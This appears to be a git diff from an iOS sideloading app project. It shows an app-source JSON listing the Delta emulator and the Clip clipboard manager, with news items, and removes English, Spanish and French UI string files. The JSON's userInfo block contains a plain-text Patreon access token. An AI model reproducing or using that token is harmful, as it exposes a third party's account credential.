"downloadURL": "https://cdn.altstore.io/file/altstore/apps/delta/1_3_1.ipa",
|
||||
"localizedDescription": "Delta is an all-in-one emulator for iOS. Delta builds upon the strengths of its predecessor, GBA4iOS, while expanding to include support for more game systems such as NES, SNES, and N64.\n\nFEATURES\n\nSupported Game Systems\n• Nintendo Entertainment System\n• Super Nintendo Entertainment System\n• Nintendo 64\n• Game Boy (Color)\n• Game Boy Advance\n• Nintendo DS\n• And plenty more to come!\n\nController Support\n• Supports PS4, PS5, Xbox One S, Xbox Series X, and MFi game controllers.\n• Supports bluetooth (and wired) keyboards, as well as the Apple Smart Keyboard.\n• Completely customize button mappings on a per-system, per-controller basis.\n• Map buttons to special “Quick Save”, “Quick Load,” and “Fast Forward” actions.\n\nSave States\n• Save and load save states for any game from the pause menu.\n• Lock save states to prevent them from being accidentally overwritten.\n• Automatically makes backup save states to ensure you never lose your progress.\n• Support for “Quick Saves,” save states that can be quickly saved/loaded with a single button press (requires external controller).\n\nCheats\n• Supports various types of cheat codes for each supported system:\n• NES: Game Genie\n• SNES: Game Genie, Pro Action Replay\n• N64: GameShark\n• GBC: Game Genie, GameShark\n• GBA: Action Replay, Code Breaker, GameShark\n• DS: Action Replay\n\nDelta Sync\n• Sync your games, game saves, save states, cheats, controller skins, and controller mappings between devices.\n• View version histories of everything you sync and optionally restore them to earlier versions.\n• Supports both Google Drive and Dropbox.\n\nCustom Controller Skins\n• Beautiful built-in controller skins for all systems.\n• Import controller skins made by others, or even make your own to share with the world!\n\nHold Button\n• Choose buttons for Delta to hold down on your behalf, freeing up your thumbs to press other buttons instead.\n• Perfect for games that typically require one button be held down constantly (ex: run button in Mario games, or the A button in Mario Kart).\n\nFast Forward\n• Speed through slower parts of games by running the game much faster than normal.\n• Easily enable or disable from the pause menu, or optionally with a mapped button on an external controller.\n\n3D/Haptic Touch\n• Use 3D or Haptic Touch to “peek” at games, save states, and cheat codes.\n• App icon shortcuts allow quick access to your most recently played games, or optionally customize the shortcuts to always include certain games.\n\nGame Artwork\n• Automatically displays appropriate box art for imported games.\n• Change a game’s artwork to anything you want, or select from the built-in game artwork database.\n\nMisc.\n• Gyroscope support (WarioWare: Twisted! only)\n• Microphone support (DS only)\n• Support for delta:// URL scheme to jump directly into a specific game.\n\n**Delta and AltStore LLC are in no way affiliated with Nintendo. The name \"Nintendo\" and all associated game console names are registered trademarks of Nintendo Co., Ltd.**",
|
||||
"iconURL": "https://user-images.githubusercontent.com/705880/63391976-4d311700-c37a-11e9-91a8-4fb0c454413d.png",
|
||||
"tintColor": "8A28F7",
|
||||
"size": 19739373,
|
||||
"permissions": [
|
||||
{
|
||||
"type": "photos",
|
||||
"usageDescription": "Allows Delta to use images from your Photo Library as game artwork."
|
||||
}
|
||||
],
|
||||
"screenshotURLs": [
|
||||
"https://user-images.githubusercontent.com/705880/65600448-f7d9be00-df54-11e9-9e3e-d4c31296da94.PNG",
|
||||
"https://user-images.githubusercontent.com/705880/65813009-f2ae8600-e183-11e9-9eb7-704effc11173.png",
|
||||
"https://user-images.githubusercontent.com/705880/65601117-58b5c600-df56-11e9-9c19-9a5ba5da54cf.PNG",
|
||||
"https://user-images.githubusercontent.com/705880/65601125-5b182000-df56-11e9-9e7e-261480e893c0.PNG"
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Delta",
|
||||
"bundleIdentifier": "com.rileytestut.Delta.Beta",
|
||||
"developerName": "Riley Testut",
|
||||
"subtitle": "Classic games in your pocket.",
|
||||
"version": "1.4b2",
|
||||
"versionDate": "2022-08-16T08:00:00-05:00",
|
||||
"versionDescription": "NEW\n• Supports Split View and Stage Manager multitasking on iPad\n• Automatically pauses + resumes emulation when switching between foreground apps with Stage Manager\n• Optimized full screen-width controller skins when using Split View, Slide Over, or Stage Manager\n• Supports controller skins with new `placement` parameter\n• Supports controller skins with custom screens that don’t have explicit `outputFrame`\n\nFIXED\n• Fixed not detecting keyboard presses when remapping inputs\n• Fixed potential crash rendering game screen after changing EAGLContext\n• Fixed incorrect game screen frame when software keyboard appears on iOS 16\n• Fixed software keyboard sometimes appearing when not emulating anything",
|
||||
"downloadURL": "https://cdn.altstore.io/file/altstore/apps/delta/1_4_b2.ipa",
|
||||
"localizedDescription": "The next consoles for Delta are coming: this beta version of Delta brings support for playing Nintendo DS and Sega Genesis games!\n\nPlease report any issues you find to support@altstore.io. Thanks!",
|
||||
"iconURL": "https://user-images.githubusercontent.com/705880/63391976-4d311700-c37a-11e9-91a8-4fb0c454413d.png",
|
||||
"tintColor": "8A28F7",
|
||||
"size": 42968657,
|
||||
"beta": true,
|
||||
"permissions": [
|
||||
{
|
||||
"type": "photos",
|
||||
"usageDescription": "Allows Delta to use images from your Photo Library as game artwork."
|
||||
}
|
||||
],
|
||||
"screenshotURLs": [
|
||||
"https://user-images.githubusercontent.com/705880/65600448-f7d9be00-df54-11e9-9e3e-d4c31296da94.PNG",
|
||||
"https://user-images.githubusercontent.com/705880/65601942-e5ad4f00-df57-11e9-9255-1463e0296e46.PNG",
|
||||
"https://user-images.githubusercontent.com/705880/65813009-f2ae8600-e183-11e9-9eb7-704effc11173.png",
|
||||
"https://user-images.githubusercontent.com/705880/65601117-58b5c600-df56-11e9-9c19-9a5ba5da54cf.PNG"
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Clip",
|
||||
"bundleIdentifier": "com.rileytestut.Clip",
|
||||
"subtitle": "Manage your clipboard history with ease.",
|
||||
"developerName": "Riley Testut",
|
||||
"version": "1.0",
|
||||
"versionDate": "2020-06-17T12:30:00-07:00",
|
||||
"versionDescription": "Initial version 🎉",
|
||||
"downloadURL": "https://f000.backblazeb2.com/file/altstore/apps/clip/1_0.ipa",
|
||||
"localizedDescription": "Clip is a simple clipboard manager for iOS. \n\nUnlike other clipboard managers, Clip can continue monitoring your clipboard while in the background. No longer do you need to remember to manually open or share to an app to save your clipboard; just copy and paste as you would normally do, and Clip will have your back.\n\nIn addition to background monitoring, Clip also has these features:\n\n• Save text, URLs, and images copied to the clipboard.\n• Copy, delete, or share any clippings saved to Clip.\n• Customizable history limit.\n\nDownload Clip today, and never worry about losing your clipboard again!",
|
||||
"iconURL": "https://user-images.githubusercontent.com/705880/63391981-5326f800-c37a-11e9-99d8-760fd06bb601.png",
|
||||
"tintColor": "EC008C",
|
||||
"size": 445056,
|
||||
"permissions": [
|
||||
{
|
||||
"type": "background-audio",
|
||||
"usageDescription": "Allows Clip to continuously monitor your clipboard in the background."
|
||||
}
|
||||
],
|
||||
"screenshotURLs": [
|
||||
"https://user-images.githubusercontent.com/705880/63391950-34286600-c37a-11e9-965f-832efe3da507.png",
|
||||
"https://user-images.githubusercontent.com/705880/70830209-8e738980-1da4-11ea-8b3b-6e5fbc78adff.png"
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Clip",
|
||||
"bundleIdentifier": "com.rileytestut.Clip.Beta",
|
||||
"subtitle": "Manage your clipboard history with ease.",
|
||||
"developerName": "Riley Testut",
|
||||
"version": "1.1b1",
|
||||
"versionDate": "2020-06-17T12:30:00-07:00",
|
||||
"versionDescription": "This update adds a Custom Keyboard app extension for quick access to clippings when editing text.\n\nTo enable the keyboard, go to Settings > General > Keyboard > Keyboards > Add New Keyboard... and add \"ClipBoard\". Once added, make sure to then enable \"Allow Full Access\" for ClipBoard so it can access your clippings.",
|
||||
"downloadURL": "https://f000.backblazeb2.com/file/altstore/apps/clip/1_1_b1.ipa",
|
||||
"localizedDescription": "Clip is a simple clipboard manager for iOS. \n\nUnlike other clipboard managers, Clip can continue monitoring your clipboard while in the background. No longer do you need to remember to manually open or share to an app to save your clipboard; just copy and paste as you would normally do, and Clip will have your back.\n\nIn addition to background monitoring, Clip also has these features:\n\n• Save text, URLs, and images copied to the clipboard.\n• Copy, delete, or share any clippings saved to Clip.\n• Customizable history limit.\n\nDownload Clip today, and never worry about losing your clipboard again!",
|
||||
"iconURL": "https://user-images.githubusercontent.com/705880/63391981-5326f800-c37a-11e9-99d8-760fd06bb601.png",
|
||||
"tintColor": "EC008C",
|
||||
"size": 462771,
|
||||
"beta": true,
|
||||
"permissions": [
|
||||
{
|
||||
"type": "background-audio",
|
||||
"usageDescription": "Allows Clip to continuously monitor your clipboard in the background."
|
||||
}
|
||||
],
|
||||
"screenshotURLs": [
|
||||
"https://user-images.githubusercontent.com/705880/63391950-34286600-c37a-11e9-965f-832efe3da507.png",
|
||||
"https://user-images.githubusercontent.com/705880/70830209-8e738980-1da4-11ea-8b3b-6e5fbc78adff.png",
|
||||
"https://user-images.githubusercontent.com/705880/84842227-70a80b00-aff9-11ea-8b04-bedb1f49c4a7.PNG",
|
||||
"https://user-images.githubusercontent.com/705880/84842231-7271ce80-aff9-11ea-9272-e128aeceb95b.PNG"
|
||||
]
|
||||
}
|
||||
],
|
||||
"news": [
|
||||
{
|
||||
"title": "Delta Gaining DS Support",
|
||||
"identifier": "delta-ds-support",
|
||||
"caption": "Available this Saturday for patrons, coming soon for everyone else.",
|
||||
"tintColor": "8A28F7",
|
||||
"imageURL": "https://user-images.githubusercontent.com/705880/65603159-0676a400-df5a-11e9-882e-dc5566f4d50a.png",
|
||||
"date": "2019-09-25",
|
||||
"notify": false
|
||||
},
|
||||
{
|
||||
"title": "Delta Now Available",
|
||||
"identifier": "delta-now-available",
|
||||
"caption": "Finally, relive your favorite NES, SNES, GB(C), GBA, and N64 games.",
|
||||
"tintColor": "8A28F7",
|
||||
"imageURL": "https://user-images.githubusercontent.com/705880/65604130-c1ec0800-df5b-11e9-8150-7657c474e3c3.png",
|
||||
"appID": "com.rileytestut.Delta",
|
||||
"date": "2019-09-28",
|
||||
"notify": true
|
||||
},
|
||||
{
|
||||
"title": "Sideloading is Here!",
|
||||
"identifier": "sideloading-is-here",
|
||||
"caption": "Update to AltStore 1.3 to install any app directly from Files.",
|
||||
"tintColor": "018084",
|
||||
"imageURL": "https://user-images.githubusercontent.com/705880/79022069-02932380-7b32-11ea-8bad-49907cb97ece.png",
|
||||
"date": "2020-04-10T13:00:00-07:00",
|
||||
"notify": true
|
||||
},
|
||||
{
|
||||
"title": "iOS 13.4 Fixes App Crashes",
|
||||
"identifier": "ios-13-4-now-available",
|
||||
"caption": "Update to iOS 13.4 to fix some sideloaded apps crashing on launch.",
|
||||
"tintColor": "34C759",
|
||||
"date": "2020-04-10T13:30:00-07:00",
|
||||
"notify": false
|
||||
},
|
||||
{
|
||||
"title": "Clip Now Available!",
|
||||
"identifier": "clip-now-available",
|
||||
"caption": "Finally, a clipboard manager that can run in the background — no jailbreak required.",
|
||||
"tintColor": "EC008C",
|
||||
"imageURL": "https://user-images.githubusercontent.com/705880/65606598-04afdf00-df60-11e9-8f93-af6345d39557.png",
|
||||
"appID": "com.rileytestut.Clip",
|
||||
"date": "2020-06-17",
|
||||
"notify": true
|
||||
},
|
||||
{
|
||||
"title": "Delta, Meet Nintendo DS",
|
||||
"identifier": "delta-meet-ds",
|
||||
"caption": "Update to Delta 1.3 to relive all your favorite Nintendo DS games.",
|
||||
"tintColor": "8A28F7",
|
||||
"imageURL": "https://user-images.githubusercontent.com/705880/115617602-6ce2b600-a2a6-11eb-984e-2197a30c71e2.png",
|
||||
"appID": "com.rileytestut.Delta",
|
||||
"date": "2021-04-21",
|
||||
"notify": true
|
||||
},
|
||||
{
|
||||
"title": "#StandWithUkraine",
|
||||
"identifier": "support-ukraine",
|
||||
"caption": "Find out how you can help support those impacted by the Russian invasion.",
|
||||
"tintColor": "003e80",
|
||||
"imageURL": "https://user-images.githubusercontent.com/705880/156053447-a158cac7-df5f-4497-8025-15c3c2e10b48.png",
|
||||
"url": "https://linktr.ee/razomforukraine",
|
||||
"date": "2022-03-01",
|
||||
"notify": false
|
||||
},
|
||||
{
|
||||
"title": "The Biggest AltServer Update Yet!",
|
||||
"identifier": "altserver-1-5",
|
||||
"caption": "Update to AltServer 1.5 to use AltJIT and other exciting new features.",
|
||||
"tintColor": "018084",
|
||||
"imageURL": "https://user-images.githubusercontent.com/705880/166509576-744be578-6868-4b7d-b4fd-b9418c084327.png",
|
||||
"url": "https://faq.altstore.io/release-notes/altserver",
|
||||
"date": "2022-05-03",
|
||||
"notify": true
|
||||
},
|
||||
{
|
||||
"title": "More Apps in AltStore!",
|
||||
"identifier": "trusted-sources",
|
||||
"caption": "Update to AltStore 1.5 to easily download some of our favorite apps.",
|
||||
"tintColor": "00CAB3",
|
||||
"imageURL": "https://user-images.githubusercontent.com/705880/167026375-ddcb004f-7160-405c-b3e3-87a6795d2f43.png",
|
||||
"url": "https://faq.altstore.io/release-notes/altstore",
|
||||
"date": "2022-05-05",
|
||||
"notify": true
|
||||
},
|
||||
{
|
||||
"title": "New to AltStore?",
|
||||
"identifier": "updated-faq",
|
||||
"caption": "Check out our updated guide to learn how to sideload apps!",
|
||||
"tintColor": "018084",
|
||||
"url": "https://faq.altstore.io",
|
||||
"date": "2022-07-28",
|
||||
"notify": false
|
||||
}
|
||||
],
|
||||
"userInfo": {
|
||||
"patreonAccessToken": "uqoDoTxH8dY1ImE8tK76wxrzKk67gjyjBAcK8sD3RLU"
|
||||
}
|
||||
}
|
||||
@@ -1,166 +0,0 @@
|
||||
/*
|
||||
Localizable.strings
|
||||
AltStore
|
||||
|
||||
Created by Fabian Thies on 22.12.22.
|
||||
Copyright © 2022 SideStore. All rights reserved.
|
||||
*/
|
||||
|
||||
|
||||
/* General Actions */
|
||||
"Action.done" = "Done";
|
||||
"Action.close" = "Close";
|
||||
|
||||
|
||||
/* NewsView */
|
||||
"NewsView.title" = "News";
|
||||
"NewsView.Section.FromSources.title" = "From your Sources";
|
||||
|
||||
|
||||
/* BrowseView */
|
||||
"BrowseView.title" = "Browse";
|
||||
"BrowseView.search" = "Search";
|
||||
"BrowseView.Section.PromotedCategories.title" = "Promoted Categories";
|
||||
"BrowseView.Section.PromotedCategories.showAll" = "Show all";
|
||||
"BrowseView.Section.AllApps.title" = "All Apps";
|
||||
"BrowseView.Hints.NoApps.title" = "You don't have any apps yet.";
|
||||
"BrowseView.Hints.NoApps.text" = "Apps are provided by \"sources\". The specification for them is an open standard, so everyone can create their own source. To get you started, we have compiled a list of \"Trusted Sources\" which you can check out by tapping the button below.";
|
||||
"BrowseView.Hints.NoApps.addSource" = "Add Source";
|
||||
"BrowseView.Actions.sources" = "Sources";
|
||||
"BrowseView.Categories.gamesAndEmulators" = "Games and\nEmulators";
|
||||
|
||||
/* AppRowView */
|
||||
"AppRowView.sideloaded" = "Sideloaded";
|
||||
|
||||
/* AppPillButton */
|
||||
"AppPillButton.free" = "Free";
|
||||
"AppPillButton.open" = "Open";
|
||||
|
||||
/* RootView */
|
||||
"RootView.news" = "News";
|
||||
"RootView.browse" = "Browse";
|
||||
"RootView.myApps" = "My Apps";
|
||||
"RootView.settings" = "Settings";
|
||||
|
||||
/* SettingsView */
|
||||
"SettingsView.ConnectedAppleID.name" = "Name";
|
||||
"SettingsView.ConnectedAppleID.eMail" = "E-Mail";
|
||||
"SettingsView.ConnectedAppleID.type" = "Type";
|
||||
"SettingsView.ConnectedAppleID.text" = "Connected Apple ID";
|
||||
"SettingsView.ConnectedAppleID.signOut" = "Sign Out";
|
||||
"SettingsView.ConnectedAppleID.Footer.p1" = "Your Apple ID is required to sign the apps you install with SideStore.";
|
||||
"SettingsView.ConnectedAppleID.Footer.p2" = "Your credentials are only sent to Apple's servers and are not accessible by the SideStore Team. Once successfully logged in, the login details are stored securely on your device.";
|
||||
|
||||
"SettingsView.connectAppleID" = "Connect your Apple ID";
|
||||
"SettingsView.backgroundRefresh" = "Background Refresh";
|
||||
"SettingsView.addToSiri" = "Add to Siri...";
|
||||
"SettingsView.refreshingApps" = "Refreshing Apps";
|
||||
"SettingsView.switchToUIKit" = "Switch to UIKit";
|
||||
"SettingsView.resetImageCache" = "Reset Image Cache";
|
||||
"SettingsView.debug" = "Debug";
|
||||
"SettingsView.swiftUIRedesign" = "SwiftUI Redesign";
|
||||
"SettingsView.credits" = "Credits";
|
||||
"SettingsView.title" = "Settings";
|
||||
"SettingsView.refreshingAppsFooter" = "Enable Background Refresh to automatically refresh apps in the background when connected to WiFi and with Wireguard active.";
|
||||
|
||||
/* ConnectAppleIDView */
|
||||
"ConnectAppleIDView.startWithSignIn" = "Sign in with your Apple ID to get started.";
|
||||
"ConnectAppleIDView.signIn" = "Sign In";
|
||||
"ConnectAppleIDView.appleID" = "Apple ID";
|
||||
"ConnectAppleIDView.password" = "Password";
|
||||
"ConnectAppleIDView.whyDoWeNeedThis" = "Why do we need this?";
|
||||
"ConnectAppleIDView.footer" = "Your Apple ID is used to configure apps so they can be installed on this device. Your credentials will be stored securely in this device's Keychain and sent only to Apple for authentication.";
|
||||
"ConnectAppleIDView.connectYourAppleID" = "Connect Your Apple ID";
|
||||
"ConnectAppleIDView.cancel" = "Cancel";
|
||||
"ConnectAppleIDView.failedToSignIn" = "Failed to Sign In";
|
||||
|
||||
/* SourcesView */
|
||||
"SourcesView.sourcesDescription" = "Sources control what apps are available to download through SideStore.";
|
||||
"SourcesView.remove" = "Remove";
|
||||
"SourcesView.trustedSources" = "Trusted Sources";
|
||||
"SourcesView.reviewedText" = "SideStore has reviewed these sources to make sure they meet our safety standards.";
|
||||
"SourcesView.sources" = "Sources";
|
||||
"SourcesView.done" = "Done";
|
||||
|
||||
/* AddSourceView */
|
||||
"AddSourceView.sourceURL" = "Source URL";
|
||||
"AddSourceView.sourceWarning" = "Please enter the source url here. Then, tap continue to validate and add the source in the next step.";
|
||||
"AddSourceView.sourceWarningContinued" = "Be careful with unvalidated third-party sources! Make sure to only add sources that you trust.";
|
||||
"AddSourceView.continue" = "Continue";
|
||||
"AddSourceView.title" = "Add Source";
|
||||
|
||||
/* ConfirmAddSourceView */
|
||||
"ConfirmAddSourceView.apps" = "Apps";
|
||||
"ConfirmAddSourceView.newsItems" = "News Items";
|
||||
"ConfirmAddSourceView.sourceContents" = "Source Contents";
|
||||
"ConfirmAddSourceView.sourceIdentifier" = "Source Identifier";
|
||||
"ConfirmAddSourceView.sourceURL" = "Source URL";
|
||||
"ConfirmAddSourceView.sourceInfo" = "Source Information";
|
||||
"ConfirmAddSourceView.addSource" = "Add Source";
|
||||
|
||||
/* AppPillButton */
|
||||
"AppPillButton.free" = "Free";
|
||||
"AppPillButton.open" = "Open";
|
||||
|
||||
/* AppAction */
|
||||
"AppAction.install" = "Install";
|
||||
"AppAction.open" = "Open";
|
||||
"AppAction.refresh" = "Refresh";
|
||||
"AppAction.activate" = "Activate";
|
||||
"AppAction.deactivate" = "Deactivate";
|
||||
"AppAction.remove" = "Remove";
|
||||
"AppAction.enableJIT" = "Activate JIT";
|
||||
"AppAction.backup" = "Backup";
|
||||
"AppAction.exportBackup" = "Export backup";
|
||||
"AppAction.restoreBackup" = "Restore backup";
|
||||
"AppAction.chooseCustomIcon" = "Customize icon";
|
||||
"AppAction.resetIcon" = "Reset icon";
|
||||
|
||||
/* AppDetailView*/
|
||||
"AppDetailView.Badge.official" = "Official App";
|
||||
"AppDetailView.Badge.trusted" = "From Trusted Source";
|
||||
"AppDetailView.noScreenshots" = "No screenshots available for this app.";
|
||||
"AppDetailView.more" = "More...";
|
||||
"AppDetailView.whatsNew" = "What's New";
|
||||
"AppDetailView.WhatsNew.versionHistory" = "Version History";
|
||||
"AppDetailView.WhatsNew.showOnGithub" = "Show project on GitHub";
|
||||
"AppDetailView.reviews" = "Ratings & Reviews";
|
||||
"AppDetailView.Reviews.outOf" = "out of %d";
|
||||
"AppDetailView.Reviews.ratings" = "%d Ratings";
|
||||
"AppDetailView.Reviews.seeAll" = "See All";
|
||||
"AppDetailView.version" = "Version %@";
|
||||
"AppDetailView.noVersionInformation" = "No version information";
|
||||
"AppDetailView.noPermissions" = "The app requires no permissions.";
|
||||
"AppDetailView.permissions" = "Permissions";
|
||||
"AppDetailView.information" = "Information";
|
||||
"AppDetailView.Information.source" = "Source";
|
||||
"AppDetailView.Information.developer" = "Developer";
|
||||
"AppDetailView.Information.size" = "Size";
|
||||
"AppDetailView.Information.latestVersion" = "Latest Version";
|
||||
"AppDetailView.Information.compatibility" = "Compatibility";
|
||||
"AppDetailView.Information.compatibilityCompatible" = "Unknown";
|
||||
"AppDetailView.Information.compatibilityUnknown" = "Unknown";
|
||||
"AppDetailView.Information.compatibilityAtLeast" = "Requires iOS %@ or higher";
|
||||
"AppDetailView.Information.compatibilityOrLower" = "Requires iOS %@ or lower";
|
||||
|
||||
/* AppPermissionGrid */
|
||||
"AppPermissionGrid.usageDescription" = "Usage Description";
|
||||
|
||||
/* MyAppsView */
|
||||
"MyAppsView.active" = "Active";
|
||||
"MyAppsView.sideloading" = "Sideloading in progress...";
|
||||
"MyAppsView.refreshAll" = "Refresh All";
|
||||
"MyAppsView.appIDsRemaining" = "App IDs Remaining";
|
||||
"MyAppsView.failedToRefresh" = "Failed to refresh";
|
||||
"MyAppsView.apps" = "apps"; /* Keep this lowercase */
|
||||
"MyAppsView.viewAppIDs" = "View App IDs";
|
||||
"MyAppsView.myApps" = "My Apps";
|
||||
"MyAppsView.Hints.NoUpdates.title" = "All Apps are Up To Date";
|
||||
"MyAppsView.Hints.NoUpdates.text" = "You will be notified once updates for your apps are available. The updates will then be shown here.";
|
||||
"MyAppsView.Hints.NoUpdates.dismissForNow" = "Dismiss for now";
|
||||
"MyAppsView.Hints.NoUpdates.dontShowAgain" = "Don't show this again";
|
||||
|
||||
|
||||
/* AppIDsView */
|
||||
"AppIDsView.title" = "App IDs";
|
||||
"AppIDsView.description" = "Each app and app extension installed with SideStore must register an App ID with Apple.\n\nApp IDs for paid developer accounts never expire, and there is no limit to how many you can create.";
|
||||
@@ -1,124 +0,0 @@
|
||||
/*
|
||||
Localizable.strings
|
||||
AltStore
|
||||
|
||||
Created by Joshua Laymon on 23.12.22.
|
||||
Updated by Gabriel Morazán on 25.12.22.
|
||||
Copyright © 2022 SideStore. All rights reserved.
|
||||
*/
|
||||
|
||||
|
||||
/* NewsView */
|
||||
"NewsView.title" = "Noticias";
|
||||
"NewsView.Section.FromSources.title" = "De tus fuentes";
|
||||
|
||||
|
||||
/* BrowseView */
|
||||
"BrowseView.title" = "Navegar";
|
||||
"BrowseView.search" = "Buscar";
|
||||
"BrowseView.Section.PromotedCategories.title" = "Categorías promocionadas";
|
||||
"BrowseView.Section.PromotedCategories.showAll" = "Mostrar todo";
|
||||
"BrowseView.Section.AllApps.title" = "Todas las aplicaciones";
|
||||
"BrowseView.Actions.sources" = "Fuentes";
|
||||
"BrowseView.Categories.gamesAndEmulators" = "Juegos y\nemuladores";
|
||||
|
||||
/* RootView */
|
||||
"RootView.news" = "Noticias";
|
||||
"RootView.browse" = "Navegar";
|
||||
"RootView.myApps" = "Mis apps";
|
||||
"RootView.settings" = "Configuración";
|
||||
|
||||
/* SettingsView */
|
||||
"SettingsView.ConnectedAppleID.name" = "Nombre";
|
||||
"SettingsView.ConnectedAppleID.eMail" = "Correo electrónico";
|
||||
"SettingsView.ConnectedAppleID.type" = "Tipo";
|
||||
"SettingsView.ConnectedAppleID.text" = "Apple ID conectado";
|
||||
"SettingsView.ConnectedAppleID.signOut" = "Cerrar sesión";
|
||||
"SettingsView.ConnectedAppleID.Footer.p1" = "Se requiere de su Apple ID para firmar las aplicaciones que se instalan con SideStore.";
|
||||
"SettingsView.ConnectedAppleID.Footer.p2" = "Sus datos son enviados solamente a Apple, SideStore Team no tiene acceso alguno a sus credenciales. Los detalles del inicio de sesión serán guardadas de forma segura en su dispositivo después de haber iniciado sesión exitosamente.";
|
||||
"SettingsView.connectAppleID" = "Inicia sesión con un Apple ID";
|
||||
"SettingsView.backgroundRefresh" = "Refrescar en segundo plano";
|
||||
"SettingsView.addToSiri" = "Agregar a Siri...";
|
||||
"SettingsView.refreshingApps" = "Refrescando las aplicaciones";
|
||||
"SettingsView.switchToUIKit" = "Cambiar a UIKit";
|
||||
"SettingsView.resetImageCache" = "Borrar el caché de imagenes";
|
||||
"SettingsView.debug" = "Depurar";
|
||||
"SettingsView.swiftUIRedesign" = "Rediseño de SwiftUI";
|
||||
"SettingsView.credits" = "Créditos";
|
||||
"SettingsView.title" = "Configuración";
|
||||
"SettingsView.refreshingAppsFooter" = "Active el refresco en segundo plano para que las aplicaciones sean refrescadas automáticamente cuando estés conectado a una red Wi-Fi y tengas a WireGuard activado.";
|
||||
|
||||
/* ConnectAppleIDView */
|
||||
"ConnectAppleIDView.appleID" = "Apple ID";
|
||||
"ConnectAppleIDView.startWithSignIn" = "Inicie sesión con su Apple ID para comenzar.";
|
||||
"ConnectAppleIDView.signIn" = "Iniciar sesión";
|
||||
"ConnectAppleIDView.password" = "Contraseña";
|
||||
"ConnectAppleIDView.whyDoWeNeedThis" = "¿Por qué necesitamos esto?";
|
||||
"ConnectAppleIDView.footer" = "Su Apple ID es usado para configurar las aplicaciones que se instalarán en su dispositivo. Sus credenciales serán guardadas de forma segura en su dispositivo y seran enviados solamente a Apple para ser autenticados.";
|
||||
"ConnectAppleIDView.connectYourAppleID" = "Conectar su Apple ID";
|
||||
"ConnectAppleIDView.cancel" = "Cancelar";
|
||||
"ConnectAppleIDView.failedToSignIn" = "No se pudo iniciar sesión";
|
||||
|
||||
/* SourcesView */
|
||||
"SourcesView.sourcesDescription" = "Las fuentes determinan que aplicaciones estarán disponibles a través del SideStore.";
|
||||
"SourcesView.remove" = "Eliminar";
|
||||
"SourcesView.trustedSources" = "Fuentes confiables";
|
||||
"SourcesView.reviewedText" = "SideStore Team ha verificado que estas fuentes son seguras de usar.";
|
||||
"SourcesView.sources" = "Fuentes";
|
||||
"SourcesView.done" = "Listo";
|
||||
|
||||
/* AddSourceView */
|
||||
"AddSourceView.sourceURL" = "URL de fuente";
|
||||
"AddSourceView.sourceWarning" = "Introduce el URL de una fuente aquí. Luego, toca \"Continuar\" para validar y agregar la fuente en el siguiente paso.";
|
||||
"AddSourceView.sourceWarningContinued" = "¡Ten cuidado con las fuentes de terceros! Asegurate de solo agregar las fuentes en las que confíes.";
|
||||
"AddSourceView.continue" = "Continuar";
|
||||
"AddSourceView.title" = "Agregar fuente";
|
||||
|
||||
/* ConfirmAddSourceView */
|
||||
"ConfirmAddSourceView.apps" = "Aplicaciones";
|
||||
"ConfirmAddSourceView.newsItems" = "Noticias";
|
||||
"ConfirmAddSourceView.sourceContents" = "Contenidos de la fuente";
|
||||
"ConfirmAddSourceView.sourceIdentifier" = "Identificador de la fuente";
|
||||
"ConfirmAddSourceView.sourceURL" = "URL de la fuente";
|
||||
"ConfirmAddSourceView.sourceInfo" = "Información sobre la fuente";
|
||||
"ConfirmAddSourceView.addSource" = "Agregar una fuente";
|
||||
|
||||
/* AppPillButton */
|
||||
"AppPillButton.free" = "Gratis";
|
||||
"AppPillButton.open" = "Abrir";
|
||||
|
||||
/* AppAction */
|
||||
"AppAction.install" = "Instalar";
|
||||
"AppAction.open" = "Abrir";
|
||||
"AppAction.refresh" = "Refrescar";
|
||||
"AppAction.activate" = "Activar";
|
||||
"AppAction.deactivate" = "Desactivar";
|
||||
"AppAction.remove" = "Eliminar";
|
||||
"AppAction.enableJIT" = "Activar JIT";
|
||||
"AppAction.backup" = "Respaldar";
|
||||
"AppAction.exportBackup" = "Exportar respaldo";
|
||||
"AppAction.restoreBackup" = "Restablecer respaldo";
|
||||
"AppAction.chooseCustomIcon" = "Personalizar icono";
|
||||
"AppAction.resetIcon" = "Reiniciar icono";
|
||||
|
||||
/* AppDetailView*/
|
||||
"AppDetailView.more" = "Más...";
|
||||
"AppDetailView.whatsNew" = "Novedades";
|
||||
"AppDetailView.version" = "Versión";
|
||||
"AppDetailView.noVersionInformation" = "Sin información de la versión";
|
||||
"AppDetailView.noPermissions" = "Esta aplicación no requiere de permisos.";
|
||||
"AppDetailView.permissions" = "Los permisos";
|
||||
|
||||
/* AppPermissionGrid */
|
||||
"AppPermissionGrid.usageDescription" = "Descripciones de uso";
|
||||
|
||||
/* MyAppsView */
|
||||
"MyAppsView.active" = "Activo";
|
||||
"MyAppsView.sideloading" = "Instalación en progreso...";
|
||||
"MyAppsView.refreshAll" = "Refrescar todo";
|
||||
"MyAppsView.appIDsRemaining" = "IDs de aplicaciones restantes";
|
||||
"MyAppsView.noUpdatesAvailable" = "No hay actualizaciones disponibles";
|
||||
"MyAppsView.failedToRefresh" = "No se pudo refrescar";
|
||||
"MyAppsView.apps" = "aplicaciones"; /* Keep this lowercase */
|
||||
"MyAppsView.viewAppIDs" = "Ver IDs de las aplicaciones";
|
||||
"MyAppsView.myApps" = "Mis aplicaciones";
|
||||
@@ -1,112 +0,0 @@
|
||||
|
||||
|
||||
|
||||
/* NewsView */
|
||||
"NewsView.title" = "Actualités";
|
||||
"BrowseView.search" = "Rechercher";
|
||||
"BrowseView.Actions.sources" = "Sources";
|
||||
"AppAction.chooseCustomIcon" = "Personaliser l'icone";
|
||||
|
||||
/* AppPermissionGrid */
|
||||
"AppPermissionGrid.usageDescription" = "Description d'usage";
|
||||
"MyAppsView.noUpdatesAvailable" = "Aucunes mises à jour disponibles";
|
||||
|
||||
|
||||
/* BrowseView */
|
||||
"BrowseView.title" = "Parcourir";
|
||||
"BrowseView.Section.PromotedCategories.showAll" = "Montrer tout";
|
||||
"BrowseView.Section.AllApps.title" = "Toutes les applications";
|
||||
"BrowseView.Section.PromotedCategories.title" = "Catégories promus";
|
||||
"ConnectAppleIDView.whyDoWeNeedThis" = "Pourquoi avons-nous besoin de cela ?";
|
||||
|
||||
/* RootView */
|
||||
"RootView.news" = "Actualités";
|
||||
"RootView.browse" = "Parcourir";
|
||||
"RootView.myApps" = "Mes applications";
|
||||
"RootView.settings" = "Réglages";
|
||||
|
||||
/* SettingsView */
|
||||
